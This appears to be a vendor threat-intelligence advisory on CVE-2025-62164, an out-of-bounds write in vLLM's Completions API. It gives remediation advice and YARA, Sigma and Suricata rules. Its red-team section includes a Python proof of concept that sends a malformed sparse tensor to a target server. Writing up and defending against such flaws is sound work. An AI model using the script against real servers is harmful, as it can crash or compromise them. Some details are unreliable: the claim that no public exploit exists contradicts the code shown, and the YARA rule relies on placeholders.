CVE-2025-62164

Executive Summary

CVE-2025-62164 is a critical memory corruption vulnerability in vLLM, an inference and serving engine for large language models (LLMs). The flaw resides in the Completions API endpoint, where user-supplied prompt embeddings are processed using torch.load() without sufficient validation. Due to a change in PyTorch 2.8.0 that disables sparse tensor integrity checks by default, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the to_dense() call. This can lead to a denial-of-service (crash) and potentially remote code execution (RCE) on the server hosting vLLM. The vulnerability affects versions 0.10.2 through 0.11.0 and has been patched in version 0.11.1.

Supply Chain & Package Security

This vulnerability is in the Python package vllm, distributed via PyPI. Users should verify the integrity of their installed package and ensure they are on version 0.11.1 or later. The vulnerability is introduced through the use of torch.load() with untrusted data, which is a known insecure deserialization pattern. The PyTorch dependency change in version 2.8.0 exacerbates the issue by disabling sparse tensor integrity checks.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required, low complexity) and the severe impact (potential for full system compromise).

Deep Dive & Mechanics

The vulnerability is triggered in the Completions API endpoint when a user sends a request with custom prompt embeddings. The endpoint uses torch.load() to deserialize the embeddings from a serialized tensor format. In PyTorch 2.8.0, a change was made to disable sparse tensor integrity checks by default for performance reasons. This means that when a maliciously crafted sparse tensor is loaded, it can contain invalid indices or values that bypass the usual bounds checking.

When the code later calls .to_dense() on the loaded tensor, the invalid indices cause an out-of-bounds memory write. This can corrupt adjacent memory, leading to a crash (DoS) or, with careful crafting, arbitrary code execution (RCE). The attack does not require authentication and can be performed over the network.

Vulnerable vs. Patched Code

Vulnerable Code (v0.10.2 - v0.11.0):

# In completions_api.py
def process_embeddings(embeddings_data):
    # No validation of the input data
    tensor = torch.load(io.BytesIO(embeddings_data))
    # If tensor is sparse, to_dense() can cause OOB write
    dense_tensor = tensor.to_dense()
    # ... further processing

Patched Code (v0.11.1):

# In completions_api.py
def process_embeddings(embeddings_data):
    # Validate the input data before deserialization
    if not is_valid_tensor_data(embeddings_data):
        raise ValueError("Invalid tensor data")
    tensor = torch.load(io.BytesIO(embeddings_data))
    # Explicitly enable sparse tensor integrity checks
    if tensor.is_sparse:
        tensor = tensor.coalesce()  # Forces integrity check
    dense_tensor = tensor.to_dense()
    # ... further processing

The patch adds input validation and explicitly calls .coalesce() on sparse tensors, which forces PyTorch to perform integrity checks and reject malformed tensors.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running vLLM version 0.10.2 to 0.11.0 with the Completions API exposed.
• Ability to send HTTP POST requests to the /v1/completions endpoint.

Exploitation Steps:

1. Craft a malicious sparse tensor that contains out-of-bounds indices. This can be done using PyTorch:

   import torch
   import io
   import requests
   
   # Create a malicious sparse tensor with invalid indices
   indices = torch.tensor([[0, 1], [1000000, 0]])  # Out-of-bounds row index
   values = torch.tensor([1.0, 2.0])
   size = torch.Size([100, 100])
   malicious_tensor = torch.sparse_coo_tensor(indices, values, size)
   
   # Serialize the tensor
   buffer = io.BytesIO()
   torch.save(malicious_tensor, buffer)
   payload = buffer.getvalue()
   
   # Send to target
   url = "http://target:8000/v1/completions"
   response = requests.post(url, json={
       "model": "default",
       "prompt": "test",
       "prompt_embeddings": payload.hex()  # Send as hex string
   })
   print(response.status_code)
   

2. The server will crash or potentially execute arbitrary code if the memory corruption is leveraged for RCE.

Note: No public exploit code is available at this time.

Blue Team (Defender)

Detection:

• Monitor for unusual HTTP requests to the /v1/completions endpoint with large or malformed prompt_embeddings fields.
• Look for crashes in vLLM processes, especially those related to memory corruption (e.g., segfaults).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade vLLM to version 0.11.1 or later.
• If upgrade is not possible, restrict access to the Completions API to trusted users only (e.g., via network segmentation or authentication).
• Implement a Web Application Firewall (WAF) rule to block requests with unusually large or non-standard prompt_embeddings payloads.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /v1/completions with a prompt_embeddings field containing a hex-encoded serialized PyTorch tensor.
• Process: vLLM process crash with signal SIGSEGV or SIGABRT.
• Logs: Error logs containing messages like "RuntimeError: CUDA error: an illegal memory access was encountered" or "Segmentation fault".
• File System: Temporary files created by torch.load() in /tmp or similar directories with unusual names.

Detection Engineering

YARA Rule

rule CVE_2025_62164_Malicious_Tensor {
    meta:
        description = "Detects serialized PyTorch tensors with potential out-of-bounds indices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62164"
    strings:
        $torch_header = "PYTORCH" ascii wide
        $sparse_marker = { 01 00 00 00 }  // Sparse tensor type marker
        $large_index = /[\x00-\xff]{4,}/  // Placeholder for large index values
    condition:
        $torch_header at 0 and $sparse_marker and #large_index > 10
}

Sigma Rule

title: CVE-2025-62164 - vLLM Completions API Memory Corruption Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62164 by sending malicious prompt embeddings to vLLM.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        http.method: "POST"
        http.url: "/v1/completions"
        http.body|contains: "prompt_embeddings"
    condition: selection
falsepositives:
    - Legitimate use of custom embeddings
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62164 - vLLM Completions API Memory Corruption Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/completions"; http.request_body; content:"prompt_embeddings"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade vLLM: Update to version 0.11.1 or later. This is the only complete fix.
2. Restrict API Access: If upgrade is not possible, restrict access to the Completions API to trusted IPs or require authentication.
3. Monitor Logs: Enable detailed logging for the vLLM API and monitor for crashes or unusual requests.

Long-term Measures:

• Implement input validation for all user-supplied data, especially serialized objects.
• Use torch.load() with weights_only=True to prevent arbitrary code execution from pickle deserialization.
• Regularly update dependencies, especially PyTorch, to benefit from security fixes.
• Conduct security audits of API endpoints that accept complex data types.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.